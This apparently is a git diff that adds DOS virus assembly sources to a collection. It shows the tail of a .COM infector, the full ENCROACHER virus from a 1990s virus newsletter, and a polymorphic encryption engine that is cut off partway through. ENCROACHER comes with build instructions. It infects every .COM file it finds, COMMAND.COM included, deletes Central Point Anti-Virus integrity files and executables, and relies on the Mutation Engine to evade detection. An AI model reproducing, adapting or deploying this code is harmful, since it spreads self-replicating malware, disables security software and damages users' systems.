MOVSB + RET + +RESTORE_ATTRIBS: +;------------------------------------------------------------------------------; +; This routine restores the files original attributes. ; +;------------------------------------------------------------------------------; + MOV AX,4301H ;Restore original attribs + XOR CX,CX ;Zero out CX + MOV CL,[95H] ;To what was read in earlier + MOV DX,09EH ;Offset of filename + INT 21H + RET + +NEW_24: + XOR AX,AX ;Any error will simply be ignored + STC ;Most useful for write protects + IRET + + + +OLD_E EQU $ +OLD_ES DW 00 00 +OLD_B EQU $ +OLD_BX DW 00 00 + +ORIGINAL_EIGHT EQU $ +OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved + ;and RET'd to +WILD_CARD EQU $ +FILESPEC DB '*.COM',00 + +;------------------------------------------------------------------------------ +;This is just some generic text. Don't be a lamer and change the text and claim +;it was your own creation. +;------------------------------------------------------------------------------ +TEXT DB 'Screaming Fist (c)10/91' +ENC_END EQU $ + +ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted diff --git a/e/ENCROACH.ASM b/e/ENCROACH.ASM new file mode 100755 index 0000000..c58ab05 --- /dev/null +++ b/e/ENCROACH.ASM @@ -0,0 +1,338 @@ +;*************************************************************************** +; The ENCROACHER virus: Incorporating anti-virus software countermeasures +; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS +; protected system. Some of the ideas in ENCROACHER were inspired by Mark +; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's +; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation +; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8. +; +; 1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8. +; 2. The reader must also have the MtE091b object files (not included in +; the newsletter but commonly available as the Mutation Engine at most +; good virus info archive sites.) +; 3. Place all files in ENCROACHER assembly directory. +; 4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path. +; +; ENCROACHER is a simple .COM appending virus which strikes the Central Point +; Anti-virus software in a direct manner. CPAV stores a file called +; chklist.cps in every directory that contains executable programs. This file +; contains the integrity (or checksum) data on each program in that +; directory. It is the library file that CPAV refers to when scanning for +; unknown viruses. By comparing 'newly checksummed' files with its data +; in chklist.cps, CPAV locates change, corruption or generic virus infection. +; Eliminating these files before virus infection forces Central Point +; Antivirus to create new 'checklist' data for the directory, AFTER the +; virus has acted. Therefore, the virus-infected file becomes +; a legal part of Central Point's freshly calculated integrity data. +; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing +; the anti-virus software to constantly update its data, effectively +; making this feature unreliable. In my experience, +; the CPAV software does not protest the elimination of these files in an +; appropriate manner. +; +; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program +; in its default installation directory before infection. This is a +; direct attack and is more likely to be noticed than the +; disappearance and reappearance of dozens of very small chklist.cps +; files. Because it is a strong move, one can be of mixed mind about using it. +; An alert user SHOULD recognize something wrong almost immediately. +; However, it is included to illustrate the point that while it presumes +; apriori knowledge concerning the location of CPAV software on the system, +; many users can STILL be expected to be lazy (and/or stupid) and use the +; vulnerable shrink-wrapped software recommendations for installation. +; +; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful +; program for the detection of virus-mediated opening, closing and writing +; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS. +; The user may add attack of this component to the source code if he wishes.) +; If Central Point's DEFAULT installation is in place and VSAFE is in +; memory, ENCROACHER will remove it since, generally, the program +; is merely configured to scan for known viruses, add chklist.cps files +; to program directories and lock out writes to the boot record. If all +; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it +; attempts to destroy VSAFE. However, since these VSAFE features are +; not practical for everyday computing needs, it can be +; assumed relatively safe to disregard them as a threat to ENCROACHER. (The +; reader is invited to add a routine which will make a call to VSAFE +; if in memory. If VSAFE is resident, the routine could be written to +; instruct the virus to go to sleep until the danger is past.) +; +; Central Point Anti-virus contains a third program known as VWATCH. It +; can be safely ignored by ENCROACHER. +; +; ENCROACHER's anti-virus software countermeasures can be quickly adapted +; to almost any commercial software of choice. Access to manuals or +; copies of the Norton Antivirus, Fifth Generation's Untouchable or +; Leprechaun Software's Virus-Buster have all the information needed to +; allow the homebrew researcher to reconfigure the virus so that it can +; attack these programs in an educated manner. +; +; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script. +; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected +; programs sometime in the evening hours. +; +; General features: ENCROACHER will infect all .COM programs in its current +; directory. When finished, it will jump to the root of the current directory +; and continue its work. +; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt. +; (Sorry, deadline was approaching for the newsletter and I had to get this +; baby to bed.) +; +; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM! The operating +; system WILL continue to load properly. ENCROACHER quickly deletes +; Central Point software programs on start-up. There is no noticeable +; delay in infection times between it and a copy of the virus lacking +; these features. +; ENCROACHER will quickly infect down the trunk of any directory structure. +; +; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once +; it has spread out onto a system. + + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100h + +start: + call locadr +reladr: + db 'ENCROACHER is here' + +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + mov si,offset old_cod + movsb ;Restore first 3 bytes + movsw + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + mov ax,3524 ;Hook INT 24 + int 21 + push es bx + mov dx,offset fail_err + mov ax,2524 + int 21 +killcps: ; clear CPS integrity files from startup directory + mov dx,offset killfile ; DX points to data mask: chklist.cps + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: + mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + + + jmp killcpav ; chklist.cps gone, go for CPAV.EXE + ; in factory installation + + +killcpav: ; clear CPAV master executable from default directory + mov dx,offset killfile2 ; DX points to filename + mov ah,41h ; DOS erase file function + int 21h + jc killvsafe + +killvsafe: + mov dx,offset killfile3 + mov ah,41h + int 21h + jc erase_done2 + +erase_done2: + jmp getonwithit + +getonwithit: ;get on with infecting files + xor ax,ax ;Initialize random number generator + mov [rnd_buf],ax ;for Mutation Engine use + call rnd_init + push sp + pop cx + sub cx,sp + add cx,4 + push cx + +find_lup1: + mov dx,offset srchnam ;COMfile mask for clean file search + mov cl,3 + mov ah,4e ;find a file + +find_lup2: + int 21 ;Find the next COM file + jc ch_dir ;if no files or no uninfected files in current dir, change to root + cmp [dta_buf+1a],ch + jnz infect ;If not infected, infect it now + pop cx +find_nxt: + push cx + mov dx,offset dta_buf + mov ah,4f ;found an infected file, find another + jmp find_lup2 + +ch_dir: + mov dx,offset dotdot + mov ah,3bh ; Change directory to root of current + int 21h + jnc find_lup1 ; Carry set if in root + ; loop to search for clean files +infect_done: + pop cx + loop find_nxt + jnc exit2 + call rnd_get ;extraneous garbage code + test al,1 ; " " " + jz exit2 ; " " " + +exit1: popf ;return control and get set to clean up + +exit2: + pop dx ds + mov ax,2524 ;Restore old INT 24 + int 21 + push ss + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + push ds ;Exit to host program + pop es + pop ax + retf +infect: + xor cx,cx ;Reset read-only attribute + mov dx,offset dta_buf+1e + mov ax,4301 + int 21 + jc infect_done ;if fail, get set to leave + mov ax,3d02 ;Open the file + int 21 + jc infect_done ;if fail, get set to leave + xchg ax,bx + mov dx,offset old_cod ;Read first 3 bytes + mov cx,3 + mov ah,3f + int 21 + jc read_done ;file already infected, skip it + mov ax,word ptr [old_cod] ;Make sure it's not an EXE file + cmp ax,'ZM' + jz read_done ;if it is, skip it + cmp ax,'MZ' + jz read_done + xor cx,cx ;Seek to end of file + xor dx,dx + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + sub ax,3 + mov word ptr [new_cod+1],ax + mov ax,5700 ;Save file's date/time + int 21 + push dx cx + mov ax,offset data_top+0f + mov cl,4 ;Now call the Mutation Engine + shr ax,cl + mov cx,cs + add ax,cx + mov es,ax + mov dx,offset start ;dx points to start of ENCROACHER + mov cx,offset _DATA ;cx contains ENCROACHER length + push bp bx + add bp,dx ;bp contains address where MtE hands control to ENCROACH + xor si,si ;si=0, MtE required value + xor di,di ;di=0, MtE required value + mov bl,0f ;bl=0f,MtE 'medium' model required + mov ax,101 ;set bit-field in ax, MtE values + call mut_engine + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + mov ah,40 ;Put the virus into the file + int 21 + push cs + pop ds + sub cx,ax + xor dx,dx ;Write the JMP instruction + mov ax,4200 + int 21 + mov dx,offset new_cod + mov cx,3 + mov ah,40 + int 21 +write_done: + pop cx dx ;Restore file's date/time + mov ax,5701 + int 21 + jmp read_done2 + +read_done: + mov ah,3e ;Close the file + int 21 + jmp infect_done ;in this case, no infection so + ;try for another search +read_done2: + mov ah,3e + int 21 + jmp exit1 ;successfully infected file, + ;jump to host execution +fail_err: ;Critical error handler + mov al,3 ;protects ENCROACHER from exposing + iret ;itself on a write-protected disk + ;or diskette + +srchnam db '*.COM',0 +killfile db 'CHKLIST.CPS',0 ;CPAV file integrity data archive +killfile2 db 'C:\CPAV\CPAV.EXE',0 ;default location and name of + ;CPAV master program +killfile3 db 'C:\CPAV\VSAFE.COM',0 ;CPAV r/w resident protection program + +old_cod: ;Buffer to read first 3 bytes + ret + dw ? + +new_cod: ;Buffer to write first 3 bytes + jmp $+100 + + .data + +dotdot db '..',0 ;change directory trick +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start diff --git a/e/ENG.ASM b/e/ENG.ASM new file mode 100755 index 0000000..e0ea34a --- /dev/null +++ b/e/ENG.ASM @@ -0,0 +1,939 @@ +;----------------------------<>--------------------------------------- + +_ax equ 0 +_cx equ 1 +_dx equ 2 +_bx equ 3 +_sp equ 4 +_bp equ 5 +_si equ 6 +_di equ 7 + + +engine: mov ds:pointer,ax ; save IP + mov di,offset decrypt + mov bx,offset make_count + mov cx,offset make_key + mov dx,offset make_ptr + mov si,offset order_ret + or bp,11101111b ; SP is used + call order ; randomize and call registers + push di ; save start of loop + push di + mov si,offset encode + mov di,offset write_buff + mov cx,encode_end-encode + rep movsb ; copy write code + mov ds:encode_ptr,offset (encode_break-encode)+write_buff + pop di + mov bx,offset make_enc + mov cx,offset make_keychange + mov dx,offset make_deccount + mov si,offset make_incptr + call order ; call routines + +;=====( Preform loop )=======================================================; + + mov ax,2 + push ax + call random ; test BP for 4000? + pop ax + jz loop_no_test + test bp,4000h ; possible to just "Jcc"? + jnz loop_make_jcc +loop_no_test: call random + jz loop_no_test1 + test bp,2000h ; use loop? + jnz loop_make_jcc +loop_no_test1: or bp,800h ; do not change flags + mov ax,2 + cwd + call random ; try OR/AND/TEST reg,reg + ; or XOR/ADD/OR/SUB reg,0? + mov al,ds:count_reg ; get counter + jnz loop_orandtest + call boolean ; do XOR/OR/ADD or ADD/SUB? + jnz loop_modify + call add_reg ; ADD/SUB reg,0 + jmp loop_make_jcc + +loop_modify: call modify_reg ; XOR/OR/ADD reg,0 + jmp loop_make_jcc + +loop_orandtest: mov cl,3 + mov ch,al + shl ch,cl + or al,ch ; set reg1 as reg2 also + mov bx,2 ; OR/AND/TEST + call random_bx + jnz loop_and + or ax,9c0h ; OR reg1, reg2 +loop_reverse: call boolean ; use 9 or 11? + jnz loop_orandteststo + or ah,2h ; reg2, reg1 + jmp loop_orandteststo + +loop_and: dec bx + jnz loop_test + or ax,21c0h ; AND reg1, reg2 + jmp loop_reverse + +loop_test: or ax,85c0h ; TEST reg1, reg2 +loop_orandteststo: + xchg al,ah + stosw ; store TEST/OR/AND + or bp,1800h ; do not change flags/ + ; test stored + call garble +loop_make_jcc: and bp,not 800h + test bp,2000h ; code loop? + jz loop_make_jump + mov al,0e2h ; LOOP + test bp,1000h ; possible to use LOOPNZ/Z? + jz loop_code_disp + call boolean + jnz loop_code_disp + dec ax ; LOOPZ + call boolean + jnz loop_iscx + dec ax ; LOOPNZ + jmp loop_code_disp + +;=====( Now make conditional jump )==========================================; + +jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE + +loop_make_jump: mov bx,offset jcc_tbl + mov ax,3 + call random + xlat ; get Conditional jump + mov bx,2 + call random_bx ; use JE/JS/LE/L then JMP? + jnz loop_code_disp + cmp ds:count_reg,_cx ; CX is counter? + jnz loop_notcx + mov bl,4 + call random_bx + jnz loop_notcx + mov al,0e3h + 1 ; JCXZ + 1 +loop_notcx: dec ax +loop_iscx: stosw + cmp al,07fh ; Jcxz/loopz? + ja loop_code_short + call boolean ; Use opposite or EB? + jnz loop_code_short + or bp,800h ; dont change flags +loop_code_short:mov si,di ; save offset of displacement + call garble + lea ax,ds:[si-2] + sub ax,di + neg al ; get jump displacement + mov ds:[si-1],al ; save it + test bp,800h ; Dont change flags -> "Jcc" + mov al,0ebh ; Jmp short + je loop_code_disp + mov ax,3 + call random + mov bx,offset jcc_tbl + xlat ; Get JNE/JNS/JG/JGE +loop_code_disp: stosb ; store jump + pop ax ; start of loop + dec ax + sub ax,di ; get loop displacement + stosb + or bp,11101111b ; free all registers + and bp,not 800h ; allow flags to change + call garble + mov ax,19 + call random ; 1 in 20 chance of non-jmp + jnz loop_code_jmp + mov ax,ds:pointer + add ax,offset file_start ; where to jump + xchg dx,ax + call get_reg ; get a register + call mov_reg ; Mov value into register + or ax,0ffc0h + (4 shl 3) ; JMP reg16 + call boolean ; PUSH/RET or JMP reg16? + jnz loop_code_push + xchg al,ah + jmp loop_code_stosw + +loop_code_push: mov bx,2 + call random_bx ; 1 in 3 chance of FF /6 PUSH + jnz loop_code_push1 + xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg + xchg al,ah + stosw + jmp loop_code_ret + +loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg + stosb +loop_code_ret: call garble + mov al,0c3h ; RETN + stosb + jmp loop_code_end + +loop_code_jmp: mov al,0e9h + stosb ; Store Jump + lea ax,ds:[di-((file_start-2)-v_start)] + neg ax ; Jmp file_start +loop_code_stosw:stosw +loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr + cmp di,offset header ; Decryptor is too large? + jb go_write_buff + stc ; return error + pushf + pop bp + retn + +go_write_buff: jmp write_buff ; encrypt/write/decrypt + + +;=====( Inc pointer )========================================================; + +make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers + mov dx,2 ; ADD ptr,2 + cmp ah,-1 ; two registers used? + jz make_incptr_1 + call boolean ; do one or both? + jnz make_incptr_do1 + dec dx ; ADD ptr,1 + call make_incptr_do1 + jmp make_incptr_2 + +make_incptr_do1:call boolean + jnz make_incptr_1 +make_incptr_2: xchg al,ah +make_incptr_1: call add_reg + sub ds:disp,dx ; add to displacement + retn + +;=====( Dec counter )========================================================; + +make_deccount: cmp si,offset make_deccount ; last operation? + jnz make_deccount_notlast + call boolean ; do it? + jnz make_deccount_notlast + or bp,4800h ; remember we're last +make_deccount_notlast: + mov al,ds:count_reg + cmp al,_cx ; possible to use LOOP/LOOPNZ? + jnz make_deccount_notcx + call boolean + jnz make_deccount_notcx + or bp,2000h ; do LOOP + jmp make_deccount_exit + +make_deccount_notcx: + mov dx,-1 ; ADD counter,-1 + call add_reg +make_deccount_exit: + or bp,400h ; deccount executed + retn + +;=====( Make encryption instruction )========================================; + +make_enc: push bp + and bp,not 400h + mov al,ds:key_reg + push ax ; save key register +make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL + call random + mov bx,0105h ; ADD [DI],AX + mov cx,1119h ; ADC/SBB + mov dx,2905h ; SUB [DI],AX + jz make_enc_add + dec ax + jz make_enc_sub + dec ax + jnz make_enc_ror + mov bh,31h ; XOR + mov dx,3105h ; XOR [DI],AX + jmp make_enc_sto + +make_enc_ror: cmp ds:key_reg,_cx ; CX is key? + jne make_enc_which + or bp,400h ; Put XCHG CX,AX + mov bh,0d3h + mov dx,0d30dh ; ROL + dec ax + jz r_make_enc_sto + xchg bx,dx ; ROR +r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08 + ; D3 00 = ROL [],CL + jmp make_enc_sto + +make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX + xchg cl,ch ; SBB/ADC +make_enc_add: call boolean ; do Carry? + jnz make_enc_sto + push bx + mov bh,ch ; Make it ADC/SBB + call clear_carry + cmp al,0 + org $ - 1 +make_enc_sto: push bx + test bp,8000h ; EXE file? + jz make_enc_com + call is_bp_ptr ; is BP a pointer? + je make_enc_com + mov al,2eh ; CS: + call boolean + jnz make_enc_cs + mov al,36h ; SS: +make_enc_cs: stosb ; store segment override +make_enc_com: mov al,bh + stosb ; store instruction + mov ax,word ptr ds:ptr_reg ; get pointer registers + cmp ah,-1 ; second reg? + je make_enc_xlat + add al,ah +make_enc_xlat: mov bx,offset rm_tbl + xlat ; get r/m + call is_bp_ptr ; is BP a pointer? + jnz make_enc_nobp + inc ah ; is there a second reg? + jne make_enc_nobp + or al,01000000b ; [BP+xx] +make_enc_nobp: mov cx,ds:disp ; get displacement + mov bx,6 + call random_bx ; allow no displacement? + jz make_enc_get_disp + jcxz make_enc_sto_rm +make_enc_get_disp: + or al,01000000b ; 8bit displacement + call boolean ; allow 8bit displacement? + jnz make_enc_16bit + cmp cx,7fh ; 8bit displacement? + jbe make_enc_sto_rm + cmp cx,-80h + jb make_enc_16bit + xor ch,ch + cmp ax,0 + org $ - 2 +make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on +make_enc_sto_rm:mov ah,ds:key_reg + shl ah,1 + shl ah,1 + shl ah,1 ; from bits 0-2 of AH + or al,ah ; to bits 3-5 of AL + stosb ; store r/m byte + test al,11000000b ; any displacement? + jz make_enc_disp + test al,10000000b ; 16bit displacement? + xchg cx,ax + stosw ; store displacement + jnz make_enc_disp + dec di ; 8bit only +make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr + test bp,400h ; store XCHG CX,AX? + je make_enc_nor + mov al,91h ; XCHG CX,AX + stosb +make_enc_nor: xchg dx,ax + xchg al,ah + mov ds:encode_enc_ptr,di ; save instruction pointer + stosw ; set encryption instruction + je make_enc_nor1 + mov al,91h ; XCHG CX,AX + stosb +make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr + pop ax + xchg al,ah + mov word ptr ds:write_buff[encode_flip-encode],ax + ; save opposite operation + pop ax + mov ds:key_reg,al ; restore key register + pop bp + retn + +rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used + +;=====( Change key )=========================================================; + +make_keychange: call boolean ; change key? + jnz make_keychange_yes + retn + +make_keychange_yes: + push bp + or bp,200h ; let know that keychange + mov ax,3 + call random ; 1 in 4 chance of modify_reg + jnz keychange_other + call random_1 + xchg dx,ax ; Random value to modify key + ; reg by + mov al,ds:key_reg + call modify_reg ; XOR/ADD/OR +keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode + inc di ; CLC + mov al,ds:modify_op ; get operation + stosb +keychange_stodx:xchg dx,ax ; store value/operation +keychange_sto: stosw + xchg di,ds:encode_ptr ; get decrypt pointer + pop bp + retn + +keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD + call random + jnz keychange_rol + mov ax,0d1c0h ; ROR AX,1 +keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL + call random_bx + jnz keychange_nocl + cmp ds:count_reg,_cx ; Count is CX? + jne keychange_nocl + test bp,400h ; Count already decremented? + jnz keychange_nocl + or ah,2 ; By CL +keychange_nocl: xchg al,ah + push ax + or ah,ds:key_reg ; set key register + stosw ; store instruction + pop ax + xchg di,ds:encode_ptr ; get encode ptr + jmp keychange_sto + +keychange_rol: dec ax + jnz keychange_not + mov ax,0d1c0h or (1 shl 3) ; ROL AX,1 + jmp keychange_cl + +keychange_not: dec ax + jnz keychange_neg + mov ax,0f7c0h + (2 shl 3) ; NOT AX + jmp keychange_nocl + +keychange_neg: dec ax + jnz keychange_add + mov ax,0f7c0h + (3 shl 3) ; NEG AX + jmp keychange_nocl + +keychange_add: call random_1 + xchg dx,ax + mov al,ds:key_reg ; get key register + call add_reg ; ADD reg(ax), value(dx) + jmp keychange_stoop + +;=====( Build key )==========================================================; + +make_key: call get_reg ; get register + xchg dx,ax + call random_1 ; get key + mov ds:key,ax ; save key + xchg dx,ax + mov ds:key_reg,al ; save register + call mov_reg ; MOV reg(ax),value(dx) + retn + +;=====( Build counter )======================================================; + +make_count: call get_reg ; get register + mov ds:count_reg,al ; save register + mov dx,(decrypt-v_start)/2 ; # of words to crypt + call mov_reg ; mov reg(ax),value(dx) + retn + +;=====( Build Pointer )======================================================; + +make_ptr: mov dx,ds:pointer + call get_ptr_reg ; get DI/SI/BP/BX + mov ds:ptr_reg,al + mov ds:ptr_reg1,-1 + mov bx,3 + call random_bx ; 1 in 4 chance of 2 regs + jnz make_ptr_2 + cmp al,_si + mov bx,11000000b ; DI/SI + jb make_ptr_test + mov bl,00101000b ; BP/BX +make_ptr_test: test bp,bx ; 'other' availible? + jz make_ptr_2 +make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX + push ax + call conv_num ; convert to bit-map number + test al,bl ; is it other type? + pop ax + jnz make_ptr_ok + call del_reg ; delete register + jmp make_ptr_again + +make_ptr_ok: mov ds:ptr_reg1,al ; save second register + mov bx,-1 + call random_bx + sub dx,bx ; randomize values + xchg bx,dx + call mov_reg ; mov reg(ax), value(dx) + xchg bx,dx + mov al,ds:ptr_reg ; get first reg +make_ptr_2: xor bx,bx ; zero displacement + call boolean ; use one? + jnz make_ptr_nodisp + mov bx,-1 + call random_bx + sub dx,bx ; subtract displacement +make_ptr_nodisp:mov ds:disp,bx ; save displacement + call mov_reg ; mov reg(ax), value(dx) + retn + +;=====( Shell for mov_reg1 )=================================================; + +mov_reg: push bx dx + mov bx,4 + call random_bx ; 1 in 5 chance of MOV/ADD/SUB + jnz mov_reg_call + mov bx,-1 + call random_bx ; get random # + sub dx,bx ; MOV reg, value-random # + call mov_reg1 ; do MOV reg, + mov dx,bx + call add_reg ; Now add difference + pop dx bx + retn + +mov_reg_call: pop dx bx + +;=====( Mov reg(ax), value(dx) )=============================================; + +mov_reg1: push ax bx cx dx + cbw + mov bx,2 + call random_bx ; MOV or SUB/XOR ADD/OR/XOR + jz mov_reg_other + mov bl,2 + call random_bx ; 1 in 3 chance of c6/c7 MOV + jnz mov_reg_b0 + or ax,0c7c0h ; MOV reg,imm + call boolean ; Do long MOV or LEA? + jnz mov_reg_c7 + mov cl,3 + shl al,cl ; Reg -> bits 3,4,5 + xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm] +mov_reg_c7: xchg al,ah + stosw ; store it +mov_reg_sto: xchg dx,ax + stosw ; store value + call garble +mov_reg_exit: jmp modify_pop + +mov_reg_b0: or al,0b8h ; MOV reg,imm + stosb + jmp mov_reg_sto + +mov_reg_other: push ax + mov cl,3 + mov ch,al + shl ch,cl ; copy reg1 to reg2 + or al,ch ; set it + call boolean + jnz mov_reg_other1 + or ah,2 ; reg1, reg2 -> reg2, reg1 +mov_reg_other1: call boolean + jnz mov_reg_xor + or ax,29c0h ; SUB reg, reg + call boolean + jnz mov_reg_other_sto + xor ah,19h xor 29h ; SBB reg, reg + call clear_carry ; clear carry flag +mov_reg_other_sto: + xchg al,ah + stosw + call garble + pop ax + call modify_reg ; ADD/OR/XOR reg(ax),value(dx) + jmp mov_reg_exit + +mov_reg_xor: or ax,31c0h ; XOR AX,AX + jmp mov_reg_other_sto + +;=====( ADD/OR/XOR reg(ax), value(dx) )======================================; + +modify_reg: push ax bx cx dx + cbw + mov bx,2 + call random_bx + mov cx,3500h + (6 shl 3) ; XOR + jz modify_reg_cont + mov cx,0d00h + (1 shl 3) ; OR + dec bx + jz modify_reg_cont +modify_reg_add: mov cx,0500h ; ADD + call boolean ; ADC or ADD? + jnz modify_reg_cont + mov cx,1500h + (2 shl 3) ; ADC +modify_reg_clc: call clear_carry ; Clear carry flag +modify_reg_cont:test bp,200h ; keychange executing? + jz modify_reg_nosave + mov ds:modify_op,ch ; save AX operation +modify_reg_nosave: + call boolean ; check if AX? + jnz modify_reg_noax + or al,al ; AX? + jnz modify_reg_noax + mov al,ch + stosb ; store instruction + xchg dx,ax +modify_sto: stosw ; store value +modify_exit: call garble +modify_pop: pop dx cx bx ax + retn + +modify_reg_noax:or ax,81c0h + or al,cl ; XOR/OR/ADD + call boolean ; sign extend? + jnz modify_reg_nosign + cmp dx,7fh ; possible to sign extend? + jbe modify_sign + cmp dx,-80h + jb modify_reg_nosign +modify_sign: or ah,2 ; sign extend +modify_reg_nosign: + xchg al,ah + stosw + test al,2 ; sign extended? + xchg dx,ax + je modify_sto + stosb + jmp modify_exit + +;=====( ADD reg(ax), value(dx) )=============================================; + +add_reg: push ax bx cx dx + cbw + mov cx,dx +add_loop: mov bx,3 + call random_bx ; 1 in 4 chance of ADD/SUB + jz add_noinc + mov bx,40c0h ; INC reg + test bp,200h ; keychange running? + jz add_nosave + mov ds:modify_op,05h ; ADD AX, +add_nosave: cmp cx,3h ; too high to INC? + jb add_inc + neg cx + cmp cx,3h ; too low to DEC? + ja add_noinc + mov bx,48c0h + (1 shl 3) ; DEC reg + test bp,200h + jz sub_nosave + mov ds:modify_op,2dh ; SUB AX, +sub_nosave: inc dx + inc cx + cmp ax,0 + org $ - 2 +add_inc: dec dx + dec cx + push ax + mov ax,5 + call random ; 1 in 6 chance of FF + pop ax + push ax + jnz add_inc_40 + mov ah,0ffh + xchg bl,bh + xchg al,ah ; AL=ff AH=Reg + stosb + xchg al,ah +add_inc_40: or al,bh ; set DEC/INC + stosb + pop ax + call garble + or dx,dx ; all done? + jnz add_loop +add_reg_exit: jmp modify_pop + +add_noinc: call boolean ; ADD or SUB? + jz sub_reg + jmp modify_reg_add + +sub_reg: test bp,200h ; keychange? + jnz sub_reg_key + neg dx +sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB + call boolean ; use SBB? + jz sbb_reg + jmp modify_reg_cont + +sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB + jmp modify_reg_clc + +;=====( clear carry flag )===================================================; + +clear_carry: push ax bp + or bp,800h ; don't change flags + mov al,0f8h ; CLC + call boolean + jnz clear_carry_clc + mov ax,0f5f9h ; STC/CMC + stosb + call garble + xchg al,ah +clear_carry_clc:stosb + call garble + pop bp ax + retn + +garble: push ax + mov ax,2 + call random ; how many times to call? + xchg cx,ax + jcxz garble_exit +garble_loop: call garble1 + loop garble_loop +garble_exit: xchg cx,ax + pop ax + retn + +;=====( add garbage code )===================================================; + +garble1: push ax bx cx dx bp + test bp,100h ; Garble already executing? + jnz garble_ret + and bp,not 200h ; keychange not executing + or bp,100h ; Garble executing + call boolean + jnz garble_ret + mov cl,3 + call random_1 + xchg dx,ax ; DX=random number + call get_reg ; get register + jc garble_ret + mov bx,6 + test bp,800h ; flag change allowed? + jz garble_f + mov bl,2 +garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV? + jnz garble_xchg + or ah,89h +garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1? + jz garble_reg_reg + or ah,2 ; 8b + xchg al,dl +garble_reg_reg: and dl,7 ; Get register values only + and al,7 + shl dl,cl + or al,0c0h ; MOV reg1, random reg + or al,dl + xchg al,ah + stosw +garble_ret: pop bp + jmp modify_pop + +garble_xchg: dec bx + jnz garble_1byte + xchg dx,ax + call get_reg ; get another reg + jc garble_ret + xchg dx,ax ; AL=reg1 DL=reg2 + call boolean + jnz garble_xchgnoax + or dl,dl ; AX? + jz garble_xchgax + or al,al + jz garble_xchgax +garble_xchgnoax:or ah,87h ; XCHG reg1, + jmp garble_reg_reg + +garble_xchgax: or al,90h + or al,dl ; XCHG AX, reg +garble_stosb: stosb + jmp garble_ret + +garble_1byte: dec bx + jnz garble_modify + mov al,4 + call random + mov bx,offset garble_1byte_tbl + xlat ; get 1 byte instruction + jmp garble_stosb + +garble_modify: dec bx + jnz garble_add + call modify_reg ; ADD/XOR/OR reg1, random # + jmp garble_ret + +garble_add: dec bx + jnz garble_mov + call add_reg ; ADD/SUB reg1, random # + jmp garble_ret + +garble_mov: dec bx + jnz garble_op + call mov_reg ; MOV reg1, random # + jmp garble_ret + +garble_op: and dh,00111000b ; get rnd op + mov ah,1 + or ah,dh + jmp garble_reg_set + +garble_1byte_tbl: + db 2eh + db 36h + cld + std + sti + +;=====( Is BP a Pointer? )===================================================; + +is_bp_ptr: cmp ds:ptr_reg,_bp + je bp_is_ptr + cmp ds:ptr_reg1,_bp +bp_is_ptr: retn + +;=====( Get pointer register (DI/SI/BP/BX) )=================================; + +get_ptr_regnext:call del_reg ; restore register to pool + +get_ptr_reg: call get_reg ; get register + cmp al,_bx + je got_ptr_reg + cmp al,_bp + jb get_ptr_regnext +got_ptr_reg: retn + +;=====( return random register in AL )=======================================; + +get_reg: test bp,11101111b ; any registers free? + stc + jz get_reg_exit +get_reg_loop: mov ax,7 + call random + push ax + cbw + call conv_num ; convert to bit map + test bp,ax ; is register free? + pushf + not ax + and bp,ax ; mark register + popf + 